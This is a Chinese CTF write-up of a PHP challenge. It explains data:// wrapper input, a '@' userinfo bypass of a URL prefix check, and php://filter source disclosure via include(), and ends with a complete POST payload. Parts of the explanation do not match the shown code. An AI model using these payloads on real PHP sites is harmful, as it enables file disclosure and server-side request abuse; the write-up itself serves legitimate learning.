少女祈祷中...

考察什么?

ping绕过,伪协议的利用,@绕过

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
highlight_file(__FILE__);
// Aura 酱,欢迎回家~
// 这里有一份礼物,请你签收一下哟~
$pen = $_POST['pen'];
if (file_get_contents($pen)!== 'Aura')
{
die('这是 Aura 的礼物,你不是 Aura!');
}

// 礼物收到啦,接下来要去博客里面写下感想哦~
$challenge = $_POST['challenge'];
if (strpos($challenge, 'http://jasmineaura.github.io')!== 0)
{
die('这不是 Aura 的博客!');
}
$blog_content = file_get_contents($challenge);
if (strpos($blog_content, '已经收到Kengwang的礼物啦') === false)
{
die('请去博客里面写下感想哦');
}

// 嘿嘿,接下来要拆开礼物啦,悄悄告诉你,礼物在 flag.php 里面哦~
$gift = $_POST['gift'];
include($gift);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
// 以语法高亮的形式输出当前PHP文件的源代码,通常用于调试或展示代码结构
highlight_file(__FILE__);

// Aura 酱,欢迎回家~
// 这里有一份礼物,请你签收一下哟~
// 从HTTP POST请求中获取名为 'pen' 的参数值,并将其赋值给变量 $pen
$pen = $_POST['pen'];

// 尝试读取 $pen 所指定文件的内容
// 若该文件内容不等于 'Aura',则终止脚本执行,并输出错误信息
if (file_get_contents($pen)!== 'Aura')
{
die('这是 Aura 的礼物,你不是 Aura!');
}

// 礼物收到啦,接下来要去博客里面写下感想哦~
// 从HTTP POST请求中获取名为 'challenge' 的参数值,并将其赋值给变量 $challenge
$challenge = $_POST['challenge'];

// 查找 'http://jasmineaura.github.io' 在 $challenge 字符串中首次出现的位置
// 若该位置不是字符串的起始位置(即不等于 0),则终止脚本执行,并输出错误信息
if (strpos($challenge, 'http://jasmineaura.github.io')!== 0)
{
die('这不是 Aura 的博客!');
}

// 尝试读取 $challenge 所指定URL的内容,并将其赋值给变量 $blog_content
$blog_content = file_get_contents($challenge);

// 查找 '已经收到Kengwang的礼物啦' 在 $blog_content 中首次出现的位置
// 若未找到(返回 false),则终止脚本执行,并输出错误信息
if (strpos($blog_content, '已经收到Kengwang的礼物啦') === false)
{
die('请去博客里面写下感想哦');
}

// 嘿嘿,接下来要拆开礼物啦,悄悄告诉你,礼物在 flag.php 里面哦~
// 从HTTP POST请求中获取名为 'gift' 的参数值,并将其赋值给变量 $gift
$gift = $_POST['gift'];

// 包含并执行 $gift 所指定的文件,一般期望该文件为 flag.php,以获取礼物内容
include($gift);

1.伪协议利用:

以后看见文件读取一定要记得伪协议!!!!!

使用伪协议输入Aura

1
pen=data://text/plain,Aura

2.@绕过

1
2
代码错误地检查了 PHP_URL_USER(用户信息部分)而非 PHP_URL_HOST(主机名)、
scheme://[user:password@]host[:port][/path][?query][#fragment]

这里**@把前面的代码当作了user了**

最终payload:

1
pen=data://text/plain,Aura&challenge=http://jasmineaura.github.io@127.0.0.1&gift=php://filter/read=convert.base64-encode/resource=flag.php